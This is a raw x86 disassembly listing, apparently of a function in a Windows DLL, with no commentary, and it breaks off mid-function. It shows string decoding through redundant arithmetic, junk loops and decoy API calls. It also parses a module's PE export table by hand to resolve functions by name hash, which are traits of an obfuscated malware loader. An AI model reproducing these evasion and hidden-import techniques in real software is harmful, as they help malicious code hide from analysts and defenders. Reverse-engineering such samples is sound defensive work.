call fcn.1000398b
jmp 0x100254c8
jmp 0x100254a6
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x12c]
and eax, 0x68
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x12c]
or ecx, 0x68
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x12c]
mov byte [ebp + eax - 0x6e8], cl
mov dword [ebp - 4], 0xf
cmp dword [ebp - 0x304], 0x62a0
jge 0x1002559d
push dword [ebp - 0x5a4]
call fcn.10036008
pop ecx
jmp 0x100255b9
or dword [ebp - 4], 0xffffffff
jmp 0x100255c3
mov dword [ebp - 0x2c], 2
and dword [ebp - 0x1e8], 0
jmp 0x100255db
mov eax, dword [ebp - 0x2c]
inc eax
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x1e
jae 0x10025691
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x12c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x2c], eax
jne 0x10025625
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x12c]
inc eax
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x12c]
mov ecx, dword [ebp - 0x2c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x2c], eax
jmp 0x100255d3
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x1e8]
movzx eax, byte [ebp + eax - 0x12e]
movsx eax, byte [ebp + eax - 0x6e8]
mov ecx, dword [ebp - 0x2c]
movzx ecx, byte [ebp + ecx - 0x12b]
and ecx, eax
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x1e8]
movzx eax, byte [ebp + eax - 0x12e]
movsx eax, byte [ebp + eax - 0x6e8]
mov edx, dword [ebp - 0x2c]
movzx edx, byte [ebp + edx - 0x12b]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x12c]
mov byte [ebp + eax - 0x6e8], dl
and dword [ebp - 0x1e8], 0
jmp 0x100255d3
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x6e8], 0
lea eax, [ebp - 0x6e8]
push eax
lea ecx, [ebp - 0x94c]
call fcn.1002a91e
mov dword [ebp - 0x658], eax
mov eax, dword [ebp - 0x658]
mov dword [ebp - 0x5b0], eax
mov dword [ebp - 4], 0x11
mov edx, dword [ebp - 0x30c]
mov ecx, dword [ebp - 0x5b0]
call fcn.1001af95
mov dword [0x1006502c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x94c]
call fcn.10003c36
and dword [ebp - 0x1bc], 0
jmp 0x10025705
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0xf
jae 0x1002571e
mov eax, dword [ebp - 0x1bc]
mov byte [ebp + eax - 0x6e8], 0
jmp 0x100256f8
mov eax, dword [0x10063ba0]
cmp eax, dword [ebp - 0x158]
je 0x10025738
mov eax, dword [0x1006502c]
cmp eax, dword [ebp - 0x158]
jne 0x10025750
mov ecx, dword [ebp + 0xc]
call fcn.10003995
push eax
push dword [ebp + 8]
call fcn.1001f0f7
pop ecx
pop ecx
jmp 0x100272b6
mov dword [ebp - 0x37c], 0x6683
mov dword [ebp - 0x670], str.ejkgj_qjml_pnjsrxba_upizj_szjgrygh_zjsjm_oac_mvil_grlh_omsl_ohuuuaz_ixhtotru_eprsg_bzshgz
cmp dword [ebp - 0x37c], 0x67d7
jle 0x1002584c
push 0x5e8
push 0
push 0
push 0xd4d
push 0
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
and dword [ebp - 0x1f0], 0
jmp 0x100257a0
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0x4c6d
jge 0x1002582a
and dword [ebp - 0x1c4], 0
jmp 0x100257c2
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0x6f0f
jge 0x10025825
mov eax, dword [ebp - 0x1f0]
xor eax, dword [ebp - 0x1c4]
cdq
mov dword [ebp - 0x60c], eax
mov dword [ebp - 0x608], edx
push dword [ebp - 0x608]
push dword [ebp - 0x60c]
lea ecx, [ebp - 0x8d4]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0x69c], eax
mov ecx, dword [ebp - 0x69c]
call fcn.10003995
push eax
call fcn.10036008
pop ecx
lea ecx, [ebp - 0x8d4]
call fcn.1000398b
jmp 0x100257b5
jmp 0x10025793
push 0
push 0
push 0xbf9
push 0
push 0x1db9
push 0
push 0x26b
push 0x10e2
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x5c], 0xffffffff
mov dword [ebp - 0x354], 0
mov dword [ebp - 0x18], 0
jmp 0x1002586d
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x10025883
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x6f8], 0xe0cf
jmp 0x10025866
mov dword [ebp - 0x18], 0
jmp 0x10025893
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x100258a9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x280], 1
jmp 0x1002588c
mov dword [ebp - 0x18], 0
jmp 0x100258b9
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x100258cf
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x874], 0x9af3
jmp 0x100258b2
mov dword [ebp - 0x18], 0
jmp 0x100258df
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jge 0x100258f5
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5d4], 0xffffffff
jmp 0x100258d8
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x280], 0
jmp 0x10025923
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x280]
inc eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x280], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x280], 3
jg 0x10025af0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x280]
mov eax, dword [ebp + eax*4 - 0x6f8]
mov dword [ebp - 0x314], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x280]
mov ecx, dword [ebp - 0x314]
mov dword [ebp + eax*4 - 0x6f8], ecx
mov eax, dword [ebp - 0x314]
mov dword [ebp - 0x5c], eax
mov byte [ebp - 0x84], 0
movzx eax, byte [ebp - 0x84]
test eax, eax
je 0x10025aeb
mov dword [ebp - 0x31c], 0x538d
mov dword [ebp - 0x5bc], str.bxbqd_ujmsjfudv_qmyjirqwt_lllee_meld_yvjvxct_ljs
cmp dword [ebp - 0x31c], 0x549a
jle 0x10025a95
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
and dword [ebp - 0x200], 0
jmp 0x100259ce
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0x28e6
jge 0x10025a95
and dword [ebp - 0x1f8], 0
jmp 0x100259f4
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0x3dd4
jge 0x10025a90
and dword [ebp - 0x1cc], 0
jmp 0x10025a1a
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x273
jge 0x10025a8b
and dword [ebp - 0x1d4], 0
jmp 0x10025a3c
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0x138c
jge 0x10025a89
mov ecx, dword [ebp - 0x1f8]
add ecx, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x200]
sar eax, cl
mov ecx, dword [ebp - 0x1d4]
shl eax, cl
cdq
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x614], edx
push dword [ebp - 0x614]
push dword [ebp - 0x618]
mov ecx, 0x10062a18
call fcn.10003a17
jmp 0x10025a2f
jmp 0x10025a0d
jmp 0x100259e7
jmp 0x100259c1
push 0xf95
push 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
mov dword [ebp - 4], 0x12
cmp dword [ebp - 0x31c], 0x4fce
jge 0x10025ac5
mov edx, dword [ebp - 0x5bc]
mov ecx, 0x10062a18
call fcn.10006198
jmp 0x10025ae1
or dword [ebp - 4], 0xffffffff
jmp 0x10025aeb
jmp 0x10025908
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x324], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x324]
mov dword [ebp + eax - 0x280], ecx
cmp dword [ebp - 0x324], 0
jne 0x10025cfc
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x6f8]
mov dword [ebp - 0x7ac], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x280], 0
je 0x10025b4d
cmp dword [ebp - 0x5c], 0
je 0x10025b4d
mov dword [ebp - 0x32c], 1
jmp 0x10025b54
and dword [ebp - 0x32c], 0
cmp dword [ebp - 0x32c], 7
jae 0x10025b69
mov dword [ebp - 0x664], 1
jmp 0x10025b70
and dword [ebp - 0x664], 0
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x7b4], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x280]
mov dword [ebp - 0x7bc], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x280]
mov dword [ebp - 0x7c4], eax
cmp dword [ebp - 0x5c], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x280], 0
jne 0x10025bc4
mov eax, 0x77dfcc86
test eax, eax
jne 0x10025bc4
and dword [ebp - 0x5c8], 0
jmp 0x10025bce
mov dword [ebp - 0x5c8], 1
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x280]
mov dword [ebp - 0x7cc], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, 0xbc6200d4
add ecx, 0xfffffff8
add ecx, dword [ebp - 0x354]
cmp ecx, dword [ebp + eax - 0x280]
jge 0x10025c0a
mov dword [ebp - 0x334], 1
jmp 0x10025c11
and dword [ebp - 0x334], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x334], eax
jle 0x10025c2b
cmp dword [ebp - 0x5c], 0
jne 0x10025c2b
and dword [ebp - 0x33c], 0
jmp 0x10025c35
mov dword [ebp - 0x33c], 1
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x33c]
jle 0x10025c4c
mov dword [ebp - 0x344], 1
jmp 0x10025c53
and dword [ebp - 0x344], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x6f8]
cmp dword [ebp - 0x344], eax
jne 0x10025c74
mov dword [ebp - 0x34c], 1
jmp 0x10025c7b
and dword [ebp - 0x34c], 0
cmp dword [ebp - 0x34c], 0xe2e0f619
jae 0x10025c93
mov dword [ebp - 0x6c8], 1
jmp 0x10025c9a
and dword [ebp - 0x6c8], 0
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0x7ec], eax
push 4
pop eax
shl eax, 0
imul eax, dword [ebp + eax - 0x280], 0xffff
test eax, eax
je 0x10025cd7
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x874], 0
je 0x10025cd7
mov dword [ebp - 0x35c], 1
jmp 0x10025cde
and dword [ebp - 0x35c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x6f8]
cmp dword [ebp - 0x35c], eax
jne 0x10025cfc
and dword [ebp - 0x364], 0
jmp 0x10025d06
mov dword [ebp - 0x364], 1
cmp dword [ebp - 0x364], 0xfff9
jne 0x10025d2b
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x280], 0
jne 0x10025d2b
and dword [ebp - 0x36c], 0
jmp 0x10025d35
mov dword [ebp - 0x36c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5d4]
cmp dword [ebp - 0x36c], eax
jl 0x10025d56
mov dword [ebp - 0x374], 1
jmp 0x10025d5d
and dword [ebp - 0x374], 0
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x37c], 0x635e
jge 0x10025d85
push dword [ebp - 0x670]
call fcn.10036008
pop ecx
jmp 0x10025da1
or dword [ebp - 4], 0xffffffff
jmp 0x10025dab
mov eax, dword [ebp + 8]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x50], 0
jmp 0x10025dc4
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jge 0x10025dda
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x258], 0x99ac7894
jmp 0x10025dbd
mov dword [ebp - 0x50], 0
jmp 0x10025dea
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jge 0x10025e00
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x244], 4
jmp 0x10025de3
mov byte [ebp - 0x85], 0
movzx eax, byte [ebp - 0x85]
test eax, eax
je 0x10025e21
push 0
push 0x1d2
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x244], 0
jmp 0x10025e4f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x244]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x244], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x244], 0
jl 0x10026064
mov dword [ebp - 0xd0], 1
mov dword [ebp - 0x38c], 0
mov dword [ebp - 0x384], 0x7076
mov dword [ebp - 0x5e0], str.thkv_yxmfpji_ydknsblqp_malirgbw_yhbwgx_ofe_jqvot_fbbafmtuz_qmjhg_zrm_odrwo_nniu_kqkil_cudz
cmp dword [ebp - 0x384], 0x710b
jle 0x10025f0e
and dword [ebp - 0x208], 0
jmp 0x10025ead
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0x5dd8
jge 0x10025f0e
and dword [ebp - 0x1dc], 0
jmp 0x10025ecf
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x66df
jge 0x10025f0c
mov eax, dword [ebp - 0x208]
add eax, dword [ebp - 0x1dc]
cdq
mov dword [ebp - 0x624], eax
mov dword [ebp - 0x620], edx
push dword [ebp - 0x620]
push dword [ebp - 0x624]
mov ecx, 0x10062a18
call fcn.10003a17
jmp 0x10025ec2
jmp 0x10025ea0
mov dword [ebp - 0x684], 0x6fe5ab06
mov dword [ebp - 4], 0x16
cmp dword [ebp - 0x384], 0x6d17
jge 0x10025f3b
mov edx, dword [ebp - 0x5e0]
mov ecx, 0x10062a18
call fcn.10006198
jmp 0x10025f57
or dword [ebp - 4], 0xffffffff
jmp 0x10025f61
mov dword [ebp - 0xd0], 0
jmp 0x10025f7a
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jg 0x1002605f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x244]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x244]
mov ecx, dword [ebp + ecx*4 - 0x258]
add ecx, dword [ebp + eax*4 - 0x258]
jne 0x10025fbd
mov dword [ebp - 0x3a4], 1
jmp 0x10025fc4
and dword [ebp - 0x3a4], 0
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x38c], eax
mov eax, dword [ebp - 0x38c]
cmp eax, dword [ebp - 0xd0]
jl 0x10025fea
mov dword [ebp - 0x394], 1
jmp 0x10025ff1
and dword [ebp - 0x394], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x244]
mov eax, dword [ebp + eax*4 - 0x258]
cmp dword [ebp - 0x394], eax
jg 0x10026019
mov dword [ebp - 0x39c], 1
jmp 0x10026020
and dword [ebp - 0x39c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x39c]
sub ecx, dword [ebp + eax - 0x244]
cmp dword [ebp - 0x3a4], ecx
jne 0x10026047
mov dword [ebp - 0x3ac], 1
jmp 0x1002604e
and dword [ebp - 0x3ac], 0
mov eax, dword [ebp - 0x3ac]
mov dword [ebp - 0x684], eax
jmp 0x10025f6d
jmp 0x10025e34
cmp dword [ebp - 0x140], 0
je 0x10026aae
mov eax, dword [ebp - 0x140]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x10026aae
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x140]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xdc], ecx
mov eax, dword [ebp - 0xdc]
cmp dword [eax], 0x4550
jne 0x10026aae
mov eax, dword [ebp - 0xdc]
cmp dword [eax + 0x74], 0
jbe 0x10026aae
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xdc]
cmp dword [ecx + eax + 0x78], 0
je 0x10026aae
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc4], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xdc]
mov edx, dword [ebp - 0xc4]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x78], edx
mov eax, 0xffff
mov word [ebp - 0x60], ax
or dword [ebp - 0xbc], 0xffffffff
cmp dword [ebp + 0x10], 0
jbe 0x10026208
mov dword [ebp - 0x3b4], 0x34c8
mov dword [ebp - 0x5ec], str.dvaznw_qlsl_ofynefgoa_vzkd_wazhlzx_hxso_fkkhftrs_pwge_tczj
cmp dword [ebp - 0x3b4], 0x3641
jle 0x100261a7
and dword [ebp - 0x148], 0
jmp 0x10026145
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0x6407
jge 0x100261a7
and dword [ebp - 0x150], 0
jmp 0x10026167
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x3372
jge 0x100261a5
mov eax, dword [ebp - 0x148]
imul eax, dword [ebp - 0x150]
cdq
mov dword [ebp - 0x630], eax
mov dword [ebp - 0x62c], edx
push dword [ebp - 0x62c]
push dword [ebp - 0x630]
mov ecx, 0x10062a18
call fcn.10003a17
jmp 0x1002615a
jmp 0x10026138
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x100261ba
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x60], ax
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0x3b4], 0x34a2
jge 0x100261dd
mov edx, dword [ebp - 0x5ec]
mov ecx, 0x10062a18
call fcn.10006198
jmp 0x100261f9
or dword [ebp - 4], 0xffffffff
jmp 0x10026203
jmp 0x100263cb
mov eax, dword [0x10065090]
and eax, 1
jne 0x1002623f
mov eax, dword [0x10065090]
or eax, 1
mov dword [0x10065090], eax
mov dword [ebp - 4], 0x1a
mov ecx, 0x10065008
call fcn.10018d9b
push 0x1004c0f0
call fcn.10035fdb
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x10063b9c]
test eax, eax
je 0x100262ab
mov ecx, 0x10065008
call fcn.1002a9aa
movzx eax, al
test eax, eax
jne 0x100262ab
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x3bc]
push eax
mov ecx, 0x10065008
call fcn.10018c40
lea eax, [ebp - 0x798]
push eax
mov ecx, 0x10065008
call fcn.10018c32
push eax
lea ecx, [ebp - 0x3bc]
call fcn.10018e52
movzx eax, al
test eax, eax
je 0x100262ab
lea ecx, [ebp - 0x3bc]
call fcn.1002aaab
mov eax, dword [eax + 4]
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0xffffffff
jne 0x100263cb
mov ecx, 0x10065008
call fcn.1002a9f1
mov ecx, dword [ebp - 0x78]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x10065008
call fcn.1002a9f5
and dword [ebp - 0xc8], 0
jmp 0x100262e9
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0xc8]
cmp ecx, dword [eax + 0x18]
jae 0x100263cb
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0xc4]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0xc8]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 0
je 0x100263c6
mov eax, dword [ebp - 0x3c4]
mov ecx, dword [ebp - 0xc4]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x88c]
call fcn.1002a91e
mov dword [ebp - 4], 0x1b
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x88c]
call fcn.1001af95
mov dword [ebp - 0x3cc], eax
movzx eax, byte [0x10063b9c]
test eax, eax
je 0x10026374
mov ecx, 0x10065008
call fcn.1002a9aa
movzx eax, al
test eax, eax
jne 0x10026394
lea eax, [ebp - 0x3cc]
push eax
mov ecx, 0x10065008
call fcn.1002a9b3
mov ecx, dword [ebp - 0xc8]
mov dword [eax], ecx
mov byte [0x10063b9c], 1
cmp dword [ebp - 0xbc], 0xffffffff
jne 0x100263b7
mov eax, dword [ebp - 0x3cc]
cmp eax, dword [ebp - 0x158]
jne 0x100263b7
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0xbc], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x88c]
call fcn.10003c36
jmp 0x100262dc
cmp dword [ebp + 0x10], 0
jne 0x100263f4
cmp dword [ebp - 0xbc], 0xffffffff
je 0x100263f4
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0xc4]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0xbc]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x60], ax
mov dword [ebp - 0x3ec], 0x48fa
mov dword [ebp - 0x544], str.bgyllevn_mbayb_xhndyv_mrasidjow_rteeqn_kdinywc_isfvd_jxuyo_wqstw
cmp dword [ebp - 0x3ec], 0x4af8
jle 0x100264ed
and dword [ebp - 0x160], 0
jmp 0x1002642e
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0x2d93
jge 0x100264ed
and dword [ebp - 0x168], 0
jmp 0x10026454
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0x13c5
jge 0x100264e8
and dword [ebp - 0x170], 0
jmp 0x1002647a
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0x2cc0
jge 0x100264e3
mov eax, dword [ebp - 0x160]
and eax, dword [ebp - 0x168]
xor eax, dword [ebp - 0x170]
cdq
mov dword [ebp - 0x63c], eax
mov dword [ebp - 0x638], edx
push dword [ebp - 0x638]
push dword [ebp - 0x63c]
lea ecx, [ebp - 0x904]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0x678], eax
mov ecx, dword [ebp - 0x678]
call fcn.10003995
push eax
call fcn.10036008
pop ecx
lea ecx, [ebp - 0x904]
call fcn.1000398b
jmp 0x1002646d
jmp 0x10026447
jmp 0x10026421
movzx eax, word [ebp - 0x60]
cmp eax, 0xffff
je 0x10026a69
movzx eax, word [ebp - 0x60]
mov ecx, dword [ebp - 0x78]
mov edx, dword [ebp - 0xc4]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0x520], eax
mov eax, dword [ebp - 0x520]
mov ecx, dword [ebp - 0xc4]
add ecx, dword [eax]
mov dword [ebp - 0x74], ecx
mov eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x78]
jbe 0x10026a61
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xdc]
mov edx, dword [ebp - 0x78]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0x74], edx
jae 0x10026a61
mov eax, dword [0x10065090]
and eax, 2
jne 0x10026580
mov eax, dword [0x10065090]
or eax, 2
mov dword [0x10065090], eax
mov dword [ebp - 4], 0x1c
push 0x72c
call fcn.10012e37
pop ecx
mov byte [0x10065000], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0x4c], 2
mov byte [ebp - 0x4b], 0x7c
mov byte [ebp - 0x4a], 1
mov byte [ebp - 0x49], 0
mov byte [ebp - 0x48], 0
mov byte [ebp - 0x47], 8
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x4c]
and eax, 0x10
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x4c]
or ecx, 0x10
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x4c]
mov byte [ebp + eax - 0x9c], cl
mov dword [ebp - 0x44], 2
and dword [ebp - 0x284], 0
jmp 0x100265e0
mov eax, dword [ebp - 0x44]
inc eax
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 6
jae 0x1002676b
mov dword [ebp - 0x3d4], 0x2fd5
mov dword [ebp - 0x52c], str.bqkynfd_dtd_yeqxvbp_tlxqqncs_yurzuasxe_pnpd_zfdjck_hsuybczmi
cmp dword [ebp - 0x3d4], 0x33ba
jle 0x100266ae
and dword [ebp - 0x178], 0
jmp 0x10026624
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0x7c9a
jge 0x100266ae
and dword [ebp - 0x180], 0
jmp 0x10026646
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0xf43
jge 0x100266a9
mov eax, dword [ebp - 0x178]
or eax, dword [ebp - 0x180]
cdq
mov dword [ebp - 0x648], eax
mov dword [ebp - 0x644], edx
push dword [ebp - 0x644]
push dword [ebp - 0x648]
lea ecx, [ebp - 0x934]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0x524], eax
mov ecx, dword [ebp - 0x524]
call fcn.10003995
push eax
call fcn.10036008
pop ecx
lea ecx, [ebp - 0x934]
call fcn.1000398b
jmp 0x10026639
jmp 0x10026617
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x284]
movzx eax, byte [ebp + eax - 0x4e]
movsx eax, byte [ebp + eax - 0x9c]
mov ecx, dword [ebp - 0x44]
movzx ecx, byte [ebp + ecx - 0x4b]
and ecx, eax
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x284]
movzx eax, byte [ebp + eax - 0x4e]
movsx eax, byte [ebp + eax - 0x9c]
mov edx, dword [ebp - 0x44]
movzx edx, byte [ebp + edx - 0x4b]
and edx, eax
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x284]
movzx eax, byte [ebp + eax - 0x4e]
movsx eax, byte [ebp + eax - 0x9c]
mov esi, dword [ebp - 0x44]
movzx ebx, byte [ebp + esi - 0x4b]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x44]
movzx eax, byte [ebp + eax - 0x4c]
mov byte [ebp + eax - 0x9c], bl
mov dword [ebp - 4], 0x1d
cmp dword [ebp - 0x3d4], 0x2e26
jge 0x10026740
push dword [ebp - 0x52c]
call fcn.10036008
pop ecx
jmp 0x1002675c
or dword [ebp - 4], 0xffffffff
jmp 0x10026766
jmp 0x100265d8
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x9c], 0
mov dword [ebp - 0x3dc], 0x7e00
mov dword [ebp - 0x534], str.wqgkry_vprt_lusbxylmp_mzwdlpfn
cmp dword [ebp - 0x3dc], 0x7e3a
jle 0x1002682c
and dword [ebp - 0x188], 0
jmp 0x100267b3
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0x4c02
jge 0x10026814
and dword [ebp - 0x190], 0
jmp 0x100267d5
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x78cd
jge 0x10026812
mov eax, dword [ebp - 0x188]
xor eax, dword [ebp - 0x190]
cdq
mov dword [ebp - 0x654], eax
mov dword [ebp - 0x650], edx
push dword [ebp - 0x650]
push dword [ebp - 0x654]
mov ecx, 0x10062a18
call fcn.10003a17
jmp 0x100267c8
jmp 0x100267a6
push 0
push 0x1412
push 0
push 0
push 0xfd8
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [0x10065090]
and eax, 4
jne 0x1002686a
mov eax, dword [0x10065090]
or eax, 4
mov dword [0x10065090], eax
mov dword [ebp - 4], 0x1f
lea eax, [ebp - 0x9c]
